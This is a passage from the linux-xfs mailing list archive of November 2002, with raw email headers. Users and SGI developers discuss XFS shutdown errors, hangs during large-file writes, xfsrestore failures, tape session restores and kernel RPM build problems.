for ; Sun, 3 Nov 2002 16:48:38 +0100 (CET) Received: from koschikode.com (kaplah.sapienti-sat.org [192.168.200.15]) by warp9.sapienti-sat.org (Postfix) with ESMTP id 4887E472 for ; Sun, 3 Nov 2002 16:48:38 +0100 (CET) Message-ID: <3DC54555.6000501@koschikode.com> Date: Sun, 03 Nov 2002 16:48:37 +0100 From: Juri Haberland Organization: totally unorganized User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021003 X-Accept-Language: de-DE, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Re: Message after shutdown References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1487 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: juri@koschikode.com Precedence: bulk X-list: linux-xfs christian_binder@t-online.de wrote: > Another problem: > Sometimes, there is a messages like this > > flushing ide devices ... > > What does this mean ? Is there a danger for my files ? I can only answer this part of your questions. This is a perfectly normal message that you should see on each shutdown. It tells you that the kernel is flushing the write caches of all ide disks so that no data stays in the caches when the kernel switches the power off. Regards, Juri From owner-linux-xfs@oss.sgi.com Sun Nov 3 11:47:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 11:47:49 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3JlkuR000722 for ; Sun, 3 Nov 2002 11:47:46 -0800 Received: from rock.csd.sgi.com (fddi-rock.csd.sgi.com [130.62.69.10]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id LAA01834 for ; Sun, 3 Nov 2002 11:48:43 -0800 (PST) mail_from (clambert@sgi.com) Received: from mtv-vpn-hw-clambert-1.corp.sgi.com (onyx4@mtv-vpn-hw-clambert-1.corp.sgi.com [134.15.23.234]) by rock.csd.sgi.com (SGI-8.9.3/8.9.3) with ESMTP id LAA45620; Sun, 3 Nov 2002 11:48:32 -0800 (PST) Date: Sun, 3 Nov 2002 11:48:31 -0800 (PST) From: Christian Lambert X-X-Sender: clambert@onyx4.dhs.org To: Eric Sandeen cc: linux-xfs@oss.sgi.com, Christian Lambert Subject: Re: 2.4.19xfs + preempt causes hangs? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 1488 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: clambert@sgi.com Precedence: bulk X-list: linux-xfs Eric, I can't reproduce it with the stock kernel with only supermount enabled so far. So maybe it's not playing well with the low latency patch even if just compiled in, but not enabled in /proc. Or it was because I was using the old xfs snapshot from 2.4.19 and not the 1.2pre-release. I'm gonna try to add them one by one and re-test. BTW, I think you should add the 1.2 pre-release in the snapshots on the webpage so that people don't download the older ones if 1.2pre is more recent and available. If I would have not checked the mailing list, I would have not found about 1.2pre. I looked at the weekly snapshot, and it hasn't been updated for a while now. -Christian On Tue, 29 Oct 2002, Eric Sandeen wrote: | Hi Christian - | | Reproducing this with the stock kernel & stock patches (preferably | the 1.2-pre patches) would be most helpful, isolating bugs with the | patch-set-du-jour can be rough. | | If you can't reproduce it with the stock kernel, add the patches | one at a time and see where things fall apart. | | -Eric | | On Tue, 29 Oct 2002, Christian Lambert wrote: | | > | > I now disabled pre-empt, and basically the only kernel patch | > I added was supermount+ O(1) batch scheduler and -aa vm patch. Now the problem | > seems to be different. If a process writes large files (about 1 or 2 gigs) | > it will often hangs right when it reach the end of the file and it was | > about to update the directory entry, it just hangs there. Top shows 100% | > system usage (0% user) and I can't kill the process until it unhangs itself | > which takes about 2-3 minutes. I'm using the 2.4.19 snapshot, but I just | > saw that you have a 1.2 pre-release for 2.4.19, so I'm going to recompile | > my kernel with that and just supermount. I'm also using vmware (which has | > kernel modules) so i'm not sure if that has an impact or not, but I thought I'd | > mention it. I could reproduce it often but just doing a "cp -a dir1 dir2" | > with a couple of 1 gig files in it. | > | From owner-linux-xfs@oss.sgi.com Sun Nov 3 13:00:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 13:00:47 -0800 (PST) Received: from ente.berdmann.de (frnk-d514e1e7.dsl.mediaWays.net [213.20.225.231]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3L0fuR001486 for ; Sun, 3 Nov 2002 13:00:42 -0800 Received: from indigo-3.berdmann.de ([192.168.5.2] helo=berdmann.de) by ente.berdmann.de with esmtp (Exim 3.35 #1) id 188RsC-0002DO-00 for linux-xfs@oss.sgi.com; Sun, 03 Nov 2002 22:01:32 +0100 Message-ID: <3DC58EAC.6070402@berdmann.de> Date: Sun, 03 Nov 2002 22:01:32 +0100 From: Bernhard Erdmann User-Agent: Mozilla/5.0 (X11; U; IRIX64 IP28; en-US; rv:1.1b) Gecko/20020723 X-Accept-Language: de, en, fr MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfsrestore: content.c:7470: restore_reg: Assertion `ehdr.eh_type == 4' failed. Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1489 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: be@berdmann.de Precedence: bulk X-list: linux-xfs Hi, verifying an Amanda backup using xfsdump-2.1.5-0 on 2.4.18-xfs-1.1 I got this error message of one xfsdump image under ca. 25 xfsdump images: ** Error detected (ente._home.20021103.0) amrestore: WARNING: not at start of tape, file numbers will be offset amrestore: 0: restoring ente._home.20021103.0 xfsrestore: content.c:7470: restore_reg: Assertion `ehdr.eh_type == 4' failed. - has been work done recently to assertion failures? - would upgrading xfsdump help? - would an upgraded xfsrestore handle the dump on tape correctly (still made by xfsdump-2.1.5)? - what debug information do XFS developers need? (i.e. what portions of xfsrestore -v debug or -v 5 and what extra information) From owner-linux-xfs@oss.sgi.com Sun Nov 3 13:52:41 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 13:52:46 -0800 (PST) Received: from clmboh1-smtp5.columbus.rr.com (clmboh1-smtp5.columbus.rr.com [65.24.0.116]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3LqeuR002255 for ; Sun, 3 Nov 2002 13:52:41 -0800 Received: from dynamix-ltd.com (dhcp024-208-191-088.columbus.rr.com [24.208.191.88]) by clmboh1-smtp5.columbus.rr.com (8.11.2/8.11.2) with ESMTP id gA3Lrab22355 for ; Sun, 3 Nov 2002 16:53:36 -0500 (EST) Message-ID: <3DC59AC0.3080900@dynamix-ltd.com> Date: Sun, 03 Nov 2002 16:53:04 -0500 From: Andy Skunza User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: xfsdump/xfsrestore and multiple sessions per tape Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 1490 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: askunza@dynamix-ltd.com Precedence: bulk X-list: linux-xfs Dear List, I have multiple dump sessions (/xfs_mount_a written 1st, /xfs_mount_b written 2nd, ...) on a single tape. My problem comes when attempting to restore from a specific session label. xfsrestore will not skip sessions, instead it examines each "media file" for all sessions from the beginning of the tape until it eventually gets to the right session. This takes some time. For example, trying to restore session /xfs_mount_b, I would get something like this: xfsrestore -b 245760 -f /dev/tape -L "this label is for /xfs_mount_b/" xfsrestore: using scsi tape (drive_scsitape) strategy xfsrestore: version 3.0 - Running single-threaded xfsrestore: using online session inventory xfsrestore: searching media for directory dump xfsrestore: preparing drive xfsrestore: examining media file 0 xfsrestore: inventory session uuid (2f328d05-b1bf-4bb9-a79a-030acca05817) does not match the media header's session uuid (dca53084-214e-4a6c-9fa1-48e65e12018d) xfsrestore: examining media file 1 xfsrestore: inventory session uuid (2f328d05-b1bf-4bb9-a79a-030acca05817) does not match the media header's session uuid (dca53084-214e-4a6c-9fa1-48e65e12018d) xfsrestore: examining media file 2 xfsrestore: inventory session uuid (2f328d05-b1bf-4bb9-a79a-030acca05817) does not match the media header's session uuid (dca53084-214e-4a6c-9fa1-48e65e12018d) xfsrestore: examining media file 3 xfsrestore: inventory session uuid (2f328d05-b1bf-4bb9-a79a-030acca05817) does not match the media header's session uuid (dca53084-214e-4a6c-9fa1-48e65e12018d) xfsrestore: examining media file 4 xfsrestore: inventory session uuid (2f328d05-b1bf-4bb9-a79a-030acca05817) does not match the media header's session uuid (dca53084-214e-4a6c-9fa1-48e65e12018d) xfsrestore: examining media file 5 xfsrestore: reading directories ... In this case, the first dump is broken up into 4 "media files". Any ideas? thanks, andy From owner-linux-xfs@oss.sgi.com Sun Nov 3 14:25:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 14:25:59 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA3MPiuR002939 for ; Sun, 3 Nov 2002 14:25:44 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id DBE321EF808; Sun, 3 Nov 2002 13:47:05 -0800 (PST) Date: Sun, 3 Nov 2002 13:47:05 -0800 From: Chris Wedgwood To: christian_binder@t-online.de Cc: linux-xfs@oss.sgi.com Subject: Re: Message after shutdown Message-ID: <20021103214705.GA12162@tapu.f00f.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1491 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Sat, Nov 02, 2002 at 11:48:25PM +0100, christian_binder@t-online.de wrote: > Unmounting local filesystems ... XFS umount got error 990 990 internal is EFSCORRUPTED... if you run xfs_check/xfs_repair on this does it find anything? > ... Can i have a nice day when I see this messages, or is there > something wrong ? Potentially something is wrong... > What does this mean ? Is there a danger for my files ? The kernel has references to data that was/is on your disk. Reboot :) > I would like to migrate more of my servers to the xfs - filesystem > in near future, but i feel unsure with this messages. I'm not sure anyone else has reported this same bug. Some more information may be useful. It *might* be bad RAM or a bad IDE cable, but it could also be a genuine bug. --cw From owner-linux-xfs@oss.sgi.com Sun Nov 3 20:43:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 03 Nov 2002 20:43:54 -0800 (PST) Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA44houR006145 for ; Sun, 3 Nov 2002 20:43:51 -0800 Received: (from xfs-master@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA44hoV3006144 for linux-xfs@oss.sgi.com; Sun, 3 Nov 2002 20:43:50 -0800 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id gA44hnuT006130 for ; Sun, 3 Nov 2002 20:43:49 -0800 Received: (from apache@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id gA44PoST005961; Sun, 3 Nov 2002 20:25:50 -0800 Date: Sun, 3 Nov 2002 20:25:50 -0800 Message-Id: <200211040425.gA44PoST005961@oss.sgi.com> From: bugzilla-daemon@oss.sgi.com To: xfs-master@oss.sgi.com Subject: [Bug 182] Hitting the BUG() in filemap.c:843 (in unlock_page()) X-Bugzilla-Reason: AssignedTo X-archive-position: 1492 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: bugzilla-daemon@oss.sgi.com Precedence: bulk X-list: linux-xfs http://oss.sgi.com/bugzilla/show_bug.cgi?id=182 sandeen@sgi.com changed: What |Removed |Added ---------------------------------------------------------------------------- Status|NEW |RESOLVED Resolution| |FIXED ------- Additional Comments From sandeen@sgi.com 2002-11-03 20:25 ------- Luben has said that recent patches have fixed this. Closing it now for bookkeeping, I'll add more info about the patch when I find it again. :) ------- You are receiving this mail because: ------- You are the assignee for the bug, or are watching the assignee. From owner-linux-xfs@oss.sgi.com Mon Nov 4 01:52:43 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 01:52:48 -0800 (PST) Received: from cray.dirksteinberg.de (pD9050D83.dip.t-dialin.net [217.5.13.131]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA49qKuR019475 for ; Mon, 4 Nov 2002 01:52:36 -0800 Received: from dirksteinberg.de (localhost [127.0.0.1]) by cray.dirksteinberg.de (Postfix) with ESMTP id 3EA4011FE9B2; Mon, 4 Nov 2002 04:52:53 -0500 (EST) Message-ID: <3DC64375.ECE3ECB0@dirksteinberg.de> Date: Mon, 04 Nov 2002 10:52:53 +0100 From: Dirk Steinberg X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-17SGI_XFS_1.2pre2 i686) X-Accept-Language: en MIME-Version: 1.0 To: Christian Lambert Cc: Eric Sandeen , linux-xfs@oss.sgi.com Subject: Hangs on 2.4.18-17SGI_XFS_1.2pre2 [Re: 2.4.19xfs + preempt causes hangs?] References: Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-archive-position: 1493 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: dws@dirksteinberg.de Precedence: bulk X-list: linux-xfs Hi, I would just like to add that I also see these hangs of unkillable processes when trying to write large files to XFS. In my case it can take up to half an hour until the process unhangs itself. I am using SGI-supplied RedHat 8.0 kernel binaries from 1.2pre2 kernel-2.4.18-17SGI_XFS_1.2pre2.i686.rpm so this should make it somewhat easier to reproduce this. The system I used is a Dell Inspiron 4100 Notebook with 1.2 GHz P3 and 1 Gig of RAM. AFAIK, RedHat 8 also uses a "small" version of the low latency patch, so this could well be the problem. Linux version 2.4.18-17SGI_XFS_1.2pre2 (root@permit.americas.sgi.com) (gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)) #1 Tue Oct 22 22:38:47 CDT 2002 This is a real showstopper for Release 1.2, IMHO. BTW, I'm actually a little desperate for finding a good stable kernel with all features I need (XFS, IPsec, ALSA, 4 Gig, OpenMosix, VMware, DVB, ...). Stock RH80 hangs on APM suspend, RH8-XFS hangs on large file write, Mandrake 9.0 does not support IDE DMA on ICH-3M and ICH-4 (besides not supporting more than 896 MB RAM in the default config), Gentoo 2.4.19 has the same IDE problem and is a little too heavily hacked for my taste since I still need to add OpenMosix.... Cheers, Dirk ------------------------------------------ Ingenieurbüro Dipl.-Ing. Dirk W. Steinberg Email: dws@dirksteinberg.de Christian Lambert wrote: > > Eric, > > I can't reproduce it with the stock kernel with only supermount enabled so far. > So maybe it's not playing well with the low latency patch even if just > compiled in, but not enabled in /proc. Or it was because I was using > the old xfs snapshot from 2.4.19 and not the 1.2pre-release. I'm gonna try to > add them one by one and re-test. > > BTW, I think you should add the 1.2 pre-release in the snapshots on the webpage > so that people don't download the older ones if 1.2pre is more recent and > available. If I would have not checked the mailing list, I would have not found > about 1.2pre. I looked at the weekly snapshot, and it hasn't been updated > for a while now. > > -Christian > > On Tue, 29 Oct 2002, Eric Sandeen wrote: > > | Hi Christian - > | > | Reproducing this with the stock kernel & stock patches (preferably > | the 1.2-pre patches) would be most helpful, isolating bugs with the > | patch-set-du-jour can be rough. > | > | If you can't reproduce it with the stock kernel, add the patches > | one at a time and see where things fall apart. > | > | -Eric > | > | On Tue, 29 Oct 2002, Christian Lambert wrote: > | > | > > | > I now disabled pre-empt, and basically the only kernel patch > | > I added was supermount+ O(1) batch scheduler and -aa vm patch. Now the problem > | > seems to be different. If a process writes large files (about 1 or 2 gigs) > | > it will often hangs right when it reach the end of the file and it was > | > about to update the directory entry, it just hangs there. Top shows 100% > | > system usage (0% user) and I can't kill the process until it unhangs itself > | > which takes about 2-3 minutes. I'm using the 2.4.19 snapshot, but I just > | > saw that you have a 1.2 pre-release for 2.4.19, so I'm going to recompile > | > my kernel with that and just supermount. I'm also using vmware (which has > | > kernel modules) so i'm not sure if that has an impact or not, but I thought I'd > | > mention it. I could reproduce it often but just doing a "cp -a dir1 dir2" > | > with a couple of 1 gig files in it. From owner-linux-xfs@oss.sgi.com Mon Nov 4 02:36:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 02:36:16 -0800 (PST) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4Aa8uR020204 for ; Mon, 4 Nov 2002 02:36:09 -0800 Received: from tempmail.sauter-bc.com (tempmail [10.1.6.25]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 9C474AC38; Mon, 4 Nov 2002 11:30:59 +0100 (CET) Received: from ssba-bsl.cad.sba (ssba-bsl.cad.sba [10.1.6.20]) by tempmail.sauter-bc.com (Postfix) with ESMTP id DA852190C9; Mon, 4 Nov 2002 11:30:57 +0100 (CET) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by ssba-bsl.cad.sba (Postfix) with ESMTP id 3BE0930881D; Mon, 4 Nov 2002 11:37:04 +0100 (CET) Message-ID: <3DC64DD0.A86E3ABF@ch.sauter-bc.com> Date: Mon, 04 Nov 2002 11:37:04 +0100 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.22-6.2.2 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Eric Sandeen Cc: ksimach@ksimachine.com, linux-xfs@oss.sgi.com Subject: Re: Question about kernel update References: <3DC0371E.50908@ksimachine.com> <3DC03A72.9060800@koschikode.com> <3DC05699.8010206@ksimachine.com> <1036015245.18972.23.camel@stout.america s.sgi.com> <1036015835.20833.25.camel@stout.americas.sgi.com> <3DC18C35.1030 701@ksimachine.com> <3DC18FDB.3070501@ksimachine.com> <1036098522.1604.11.camel@stout.americas.sgi.com> <3DC1A543.80606@ksimachine.com> <1036103789.1657.23.camel@stout.americas.sgi.com> <3DC23098.79045D5C@ch.sauter-bc.com> <3DC24E71.28971B3A@ch.sauter-bc.com> <1036180536.4534.22.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 1494 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Okay, I have now successfully built 2.4.18-17SGI_XFS_1.2pre2 rpms on RedHat 7.2 and they seems to work as expected. I did remove uml support by changeing the .spec file like this: %define buildUML 0 Then built binaries. Building an i686 kernel alone didn't work! Using target i386,i586,i686,athlon worked and built okay. It is up and running: Linux version 2.4.18-17SGI_XFS_1.2pre2 (root@crash.bi.corp.invoca.ch) (gcc version 2.96 20000731 (Red Hat Linux 7.2 2.96-108.7.2)) #1 Fri Nov 1 20:08:13 CET 2002 Eric, if you could give me ftp access somewhere, I could upload the rpms for /contrib on oss. Let me know. Simon Eric Sandeen schrieb: > > I guess that I don't know what to say about these problems... we just > don't have the bandwidth to build & test RPMs for multiple platforms. > > In addition to vanilla kernels, we support the latest Red Hat distro for > historical reasons (*cough* and because every other major distro already > has XFS support *cough*), but if you're running an older version, I'm > afraid it will likely be up to those outside of SGI to come up with any > solution... > > My hints would be along the lines of making sure you're using the latest > available gcc version for your release... > > -Eric > > On Fri, 2002-11-01 at 03:50, Simon Matter wrote: > > Simon Matter schrieb: > > > > > > Eric Sandeen schrieb: > > > > > > > > Ok, I'm pretty confused by this. :) > > > > > > > > The only difference I see between the "stock" kernel spec files for > > > > 17.7.x and 17.8.0 is: > > > > > > > > -%define release 17.7.x > > > > +%define release 17.8.0 > > > > > > > > (i.e. no gcc differences) > > > > > > > > and the only differences between the 17.?.? Red Hat specfiles, and our > > > > specfile, (aside from the release name) are the XFS patches. > > > > > > > > I see "BuildRequires: gcc >= 2.96-98" in the 17.7.x specfiles as well, > > > > but I only see gcc-2.96-85 for RH 7.1, so I don't know how you're > > > > supposed to rebuild it on 7.1, or why you seem to be able to. > > > > > > > > So I'm stumped. :) > > > > > > I'm just trying to rebuild the i686 kernel on RH 7.2. It is updated to > > > the latest erata, which is > > > gcc-2.96-108.7.2 > > > and > > > gcc3-3.0.4-1 > > > > > > I'll let you know where it dies. > > > > Here we go: > > --------------------------------------------------------------------- > > Enable gcov support (CONFIG_GCOV) [N/y/?] > > * > > * Library routines > > * > > > > *** End of Linux kernel configuration. > > *** Check the top-level Makefile for additional configuration. > > *** Next, you must run 'make dep'. > > > > + make -s dep > > + make -s include/linux/version.h > > + echo BUILDING A KERNEL FOR uml i686... > > BUILDING A KERNEL FOR uml i686... > > + '[' uml = uml ']' > > + make -s ARCH=um linux > > sched.c: In function `sys_sched_yield': > > sched.c:1374: warning: unused variable `rq' > > kksymoops.c: In function `lookup_symbol': > > kksymoops.c:18: warning: unused variable `sym_end' > > kksymoops.c:18: warning: unused variable `sym_start' > > kksymoops.c:18: warning: unused variable `sec_end' > > kksymoops.c:18: warning: unused variable `sec_start' > > kksymoops.c:18: warning: unused variable `mod_end' > > kksymoops.c:18: warning: unused variable `mod_start' > > kksymoops.c:17: warning: unused variable `sym_name' > > kksymoops.c:17: warning: unused variable `sec_name' > > kksymoops.c:17: warning: unused variable `mod_name' > > kksymoops.c:15: warning: unused variable `bestsofar' > > kksymoops.c:14: warning: unused variable `this_mod' > > kksymoops.c: In function `print_modules': > > kksymoops.c:70: warning: unused variable `i' > > kksymoops.c:70: warning: unused variable `pos' > > kksymoops.c:69: warning: unused variable `this_mod' > > loop.c: In function `loop_change_fd': > > loop.c:762: warning: label `out_put_all' defined but not used > > xfs_mount.c: In function `xfs_initialize_perag': > > xfs_mount.c:332: Unrecognizable insn: > > (insn/i 164 594 597 (parallel[ > > (set (reg:SI 0 eax) > > (asm_operands ("") ("=a") 0[ > > (reg:DI 1 edx) > > ] > > [ > > (asm_input:DI ("A")) > > ] ("linux/xfs_linux.h") 255)) > > (set (reg:SI 1 edx) > > (asm_operands ("") ("=d") 1[ > > (reg:DI 1 edx) > > ] > > [ > > (asm_input:DI ("A")) > > ] ("linux/xfs_linux.h") 255)) > > (clobber (reg:QI 19 dirflag)) > > (clobber (reg:QI 18 fpsr)) > > (clobber (reg:QI 17 flags)) > > ] ) -1 (insn_list 163 (nil)) > > (nil)) > > xfs_mount.c:332: confused by earlier errors, bailing out > > make[3]: *** [xfs_mount.o] Error 1 > > make[2]: *** [first_rule] Error 2 > > make[1]: *** [_subdir_xfs] Error 2 > > make: *** [_dir_fs] Error 2 > > --------------------------------------------------------------------- > > > > Seems to be the uml kernel. Any ideas? > > > > Simon > > > > > BTW, if someone could try the same on an up to date RedHat 7.3, it may > > > build there although I don't believe because most packages are almost > > > the same. > > > > > > Simon > > > > > > > > > > > -Eric > > > > > > > > On Thu, 2002-10-31 at 15:48, Joe St.Clair wrote: > > > > > Yes, when I attempt to build from the SGI SRPM it fails due to the gcc > > > > > version. > > > > > > > > > > I have just downloaded gcc-3.1 from the RedHat site. It seems that the > > > > > only dependency problem with it is that gcc3-objc-3.1-5.i386.rpm want to > > > > > have gcc-objc >= 2.96-94 before it will install. I have 2.96-85. > > > > > So now I am downloading the gcc from RedHat 7.2, check its dependencies, > > > > > update with that and then update to 3.1. > > > > > > > > > > I don't know if this will break anything but as far as I know it should > > > > > be ok. > > > > > > > > > > I won't get to check this out until tomorrow. > > > > > > > > > > > > > > > Eric Sandeen wrote: > > > > > > > > > > >Joe - how does it fail? (Or is the failure the gcc version requirement > > > > > >you noted?) > > > > > > > > > > > >-Eric > > > > > > > > > > > >On Thu, 2002-10-31 at 14:17, Joe St.Clair wrote: > > > > > > > > > > > > > > > > > >>Just a bit more infomation - Not only does the build fail on my system > > > > > >>for i686 but also for i386. > > > > > >> > > > > > >>-- > > > > > >>Joseph St.Clair - KSI Machine & Engineering > > > > > >> > > > > > >> > > > > > >> > > > > > >> > > > > > >> > > > > > > > > > > > > > > > -- > > > > > Joseph St.Clair - KSI Machine & Engineering > > > > > > > > > > > > > > -- > > > > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > > > > sandeen@sgi.com SGI, Inc. 651-683-3102 > > From owner-linux-xfs@oss.sgi.com Mon Nov 4 10:43:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 10:43:19 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4IhDuR031768 for ; Mon, 4 Nov 2002 10:43:13 -0800 Received: from maine.americas.sgi.com (maine.americas.sgi.com [128.162.191.42]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA33736; Mon, 4 Nov 2002 12:44:07 -0600 (CST) Received: from nstraz by maine.americas.sgi.com with local (Exim 3.36 #1 (Debian)) id 188mCk-0004KZ-00; Mon, 04 Nov 2002 12:44:07 -0600 Date: Mon, 4 Nov 2002 12:44:06 -0600 From: Nathan Straz To: David Rees Cc: linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com Subject: Re: Spontaneous Call Trace? Message-ID: <20021104184406.GC2030@sgi.com> Mail-Followup-To: David Rees , linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com References: <20021104101501.A812@greenhydrant.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021104101501.A812@greenhydrant.com> User-Agent: Mutt/1.4i X-archive-position: 1495 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nstraz@sgi.com Precedence: bulk X-list: linux-xfs On Mon, Nov 04, 2002 at 10:15:01AM -0800, David Rees wrote: > I just encountered a dual CPU machine running 2.4.18 with the NFS_ALL and > xfs patch which spontaneously generated two complete call traces over the > weekend. There was no Oops or kernel bug recorded in the syslog although > syslog functionality remained intact. After this point functionality on the > system was degraded (various processes were not accepting new connections) > and we rebooted the system. We're planning on upgrading to 2.4.19 with the > NFS_ALL and ext3-all patches ASAP. > > I've never seen this type of behavior before in my years of using Linux, has > anyone else? BTW, sysrq is disabled on the machine... Could you post the call traces? Also, do you see any relevant messages in your log files? Perhaps there is a forced shutdown message. -- Nate Straz nstraz@sgi.com sgi, inc http://www.sgi.com/ Linux Test Project http://ltp.sf.net/ From owner-linux-xfs@oss.sgi.com Mon Nov 4 10:55:58 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 10:56:01 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4ItvuR032286 for ; Mon, 4 Nov 2002 10:55:57 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA89905 for ; Mon, 4 Nov 2002 12:56:47 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA97821 for ; Mon, 4 Nov 2002 12:56:47 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gA4ItlL05973; Mon, 4 Nov 2002 12:55:47 -0600 Message-Id: <200211041855.gA4ItlL05973@jen.americas.sgi.com> Date: Mon, 4 Nov 2002 12:55:47 -0600 Subject: TAKE - do not hard code the field width of bh->b_size To: linux-xfs@oss.sgi.com X-archive-position: 1496 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs make pagebuf independent of the size of the b_size field, we were assuming 2 bytes which is not always the case with some patchsets applied. Date: Mon Nov 4 10:56:08 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-vanilla The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:131952a linux/fs/xfs/pagebuf/page_buf.c - 1.74 - do not hard code the field width of bh->b_size From owner-linux-xfs@oss.sgi.com Mon Nov 4 11:11:45 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 04 Nov 2002 11:11:54 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gA4JBfuR000373 for ; Mon, 4 Nov 2002 11:11:42 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA94330 for ; Mon, 4 Nov 2002 13:12:36 -0600 (CST) Received: from dhcp212.munich.sgi.com 